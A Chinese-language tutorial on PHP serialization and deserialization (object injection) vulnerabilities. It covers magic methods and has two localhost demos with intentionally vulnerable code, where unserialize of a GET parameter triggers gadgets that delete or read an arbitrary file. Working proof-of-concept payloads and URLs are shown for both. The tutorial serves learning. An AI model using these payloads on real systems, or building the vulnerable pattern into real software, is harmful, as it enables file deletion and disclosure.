PHP反序列化学习过程

一、php反序列化原理

1.php序列化与php反序列化

1.1 序列化与反序列化

  • 序列化是将变量转换为可保存或传输的字符串的过程;
  • 反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。

1.2 php序列化与反序列化函数

  • Serialize:可以将变量转换为字符串并且再转换中可以保存当前变量的值
  • Unserialize:可以将serialize生成的字符串变换回变量
  • php进行序列化的目的是保存一个对象方便以后重用

2.类,变量,方法,对象

example code:

<?php
//创建一个person类
class Person
{
    //变量
    public $name='';
    public $age=0;
    //方法
    public function Information()
    {
        echo 'Person: '.$this->name.' is '.$this->age.' years old. <br />';
    }
}
//创建一个对象
$per=new Person();
$per->name='Xu';
$per->age='19';

$per->Information();

1

3.php序列化实例

  • serialize()
  • 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。

example code:

<?php
//创建一个person类
class Person
{
    //变量
    public $name='';
    public $age=0;
    //方法
    public function Information()
    {
        echo 'Person: '.$this->name.' is '.$this->age.' years old. <br />';
    }
}
//创建一个对象
$per=new Person();
$per->name='Xu';
$per->age='19';

//$per->Information();
$per =serialize($per);
echo ($per);

2

4.php反序列化实例

  • unserialize()
  • unserialize()一个对象,这个对象的类必须已经定义过。

example code:

<?php
//创建一个person类
class Person
{
    //变量
    public $name='';
    public $age=0;
    //方法
    public function Information()
    {
        echo 'Person: '.$this->name.' is '.$this->age.' years old. <br />';
    }
}
//创建一个对象
$per=new Person();
$per->name='Xu';
$per->age='19';

//$per->Information();

$per =unserialize('O:6:"Person":2:{s:4:"name";s:2:"Xu";s:3:"age";s:2:"19";}');
$per->Information();

3

5.php魔法函数

  • php类中包含了一些魔法函数,这些函数可以在脚本的任何地方不用声明就可以使用。
  • PHP(反)序列化有关的魔法函数:

    魔法函数名触发条件
    __construct()// 当一个对象创建时触发
    __destruct()// 当对象备销毁时触发
    __wakeup()// 使用unserialize时触发
    __sleep()// 使用serialize时触发
    __toString()// 把类当作字符串使用时触发
    __get()// 用于从不可访问的属性读取数据
    __set()// 用于将数据写入不可访问的属性
    __isset()// 在不可访问的属性上调用isset()或empty()触发
    __unset()// 在不可访问的属性上使用unset()时触发
    __invoke()// 当脚本尝试将对象调用为函数时触发

6.php魔法函数实例

  • __destruct() //对象被销毁时触发
  • __construct() //把一个对象创建时被调用
  • __toString() //把类当作字符串使用时触发

example code:

<?php
//创建一个person类
class Person
{
    //变量
    public $name='';
    public $age=0;
    //方法
    public function Information()
    {
        echo 'Person: '.$this->name.' is '.$this->age.' years old. <br />';
    }
    public function __toString()
    {
        return 'I am __toString <br />';
    }
    public function __construct()
    {
        return 'I am __construct <br />';
    }
    public function __destruct()
    {
        return 'I am __destruct <br />';
    }
}
//创建一个对象
$per1=new Person();
$per1->name='Xu';
$per1->age=19;

echo $per1;

4

7.php反序列化漏洞

  • php反序列化漏洞又称对象注入,可能会导致注入、远程代码执行等安全问题的发生
  • php反序列化漏洞如何产生:

如果一个php代码中使用了unserialize函数去调用某一类,该类中会自动执行一些自定义的magic method,这些magic method中如果包含了一些危险的操作,或者这些magic method会去调用类中其他带有危险操作的函数,如果这些函数操作是我们可控的,那么就可以进行一些不可描述的操作了。

二、php反序列化漏洞demo1

example code:

<?php
// test5
class delete
{
    public $filename = 'error';
    function  __destruct()
    {
        echo $this->filename.' was deleted <br />';
        unlink(dirname(__FILE__).'/'.$this->filename);
    }
}

test5.php中可以看到,delete类中定义了一个__destruct函数,该函数中会执行删除文件的操作。如果我们想利用该类来执行任意文件删除操作,则需要寻找一个可控的unserialize()函数。

example code:

<?php
// test6
include 'test5.php';

$per = unserialize($_GET['per_serialized']);

test6.php中可以看到包含了test5.php,并且在最后一行可以看到$per = unserialize($_GET['per_serialized']);

per_serialized是我们可控的。

如果我们已经知道在该目录下有一个1.txt

5

文件如果我们想要删除这个文件,则可以这样构造poc

example code:

<?php
//删除文件

//创建delete类
class delete
{
    public $filename = 'error';
}

//创建test对象,引入delete类,对delete类进行实例化
$test = new delete();
//赋值操作
$test -> filename = '1.txt';

echo serialize($test);

6

可以得到payloadO:6:"delete":1:{s:8:"filename";s:5:"1.txt";}

  • 访问http://localhost:63342/1/test6.php?per_serialized=O:6:%22delete%22:1:{s:8:%22filename%22;s:5:%221.txt%22;}

7

  • 访问http://localhost:63342/1/1.txt

8

1.txt已经被删除

三、php反序列化漏洞demo2

example code:

<?php
//test8
//读取文件
class read
{
    public $filename = 'error';
    function __toString()
    {
        // file_get_contens()函数把整个文件一次性读入一个字符串中
        return file_get_contents($this->filename);
    }
}

test8中可以看到,类中定义了一个__toString()函数,该函数可以返回一个文件内容,如果我们想利用该类函数来读取任意文件,不仅需要寻找一个可利用的unserialize()函数,还要有一个触发__toString()函数的条件。

example code:

<?php
//test9

include "test8.php";

$per = unserialize($_GET['per_serialized']);

echo $per;

test9.php中,包含了test8.php。其中有unserialize()操作,per_serialized可控。最后一行输出操作,会触发__toString()函数。

  • 构造poc

example code:

<?php
//读取文件

class read
{
    public $filename = 'error';
}

$test = new read();
$test -> filename = '1.txt';

echo serialize($test);

9

可得到payloadO:4:"read":1:{s:8:"filename";s:5:"1.txt";}

  • 访问http://localhost:63342/1/test9.php?per_serialized=O:4:%22read%22:1:{s:8:%22filename%22;s:5:%221.txt%22;}

10

四、总结

在发现一个php反序列化漏洞之前,先要找一个可控的php反序列化函数,通过这个反序列化函数,去调用一些类,这些类中可能会包含一些魔法函数,而这些魔法函数中,可能会有一些可控的危险操作,从而触发php反序列化漏洞。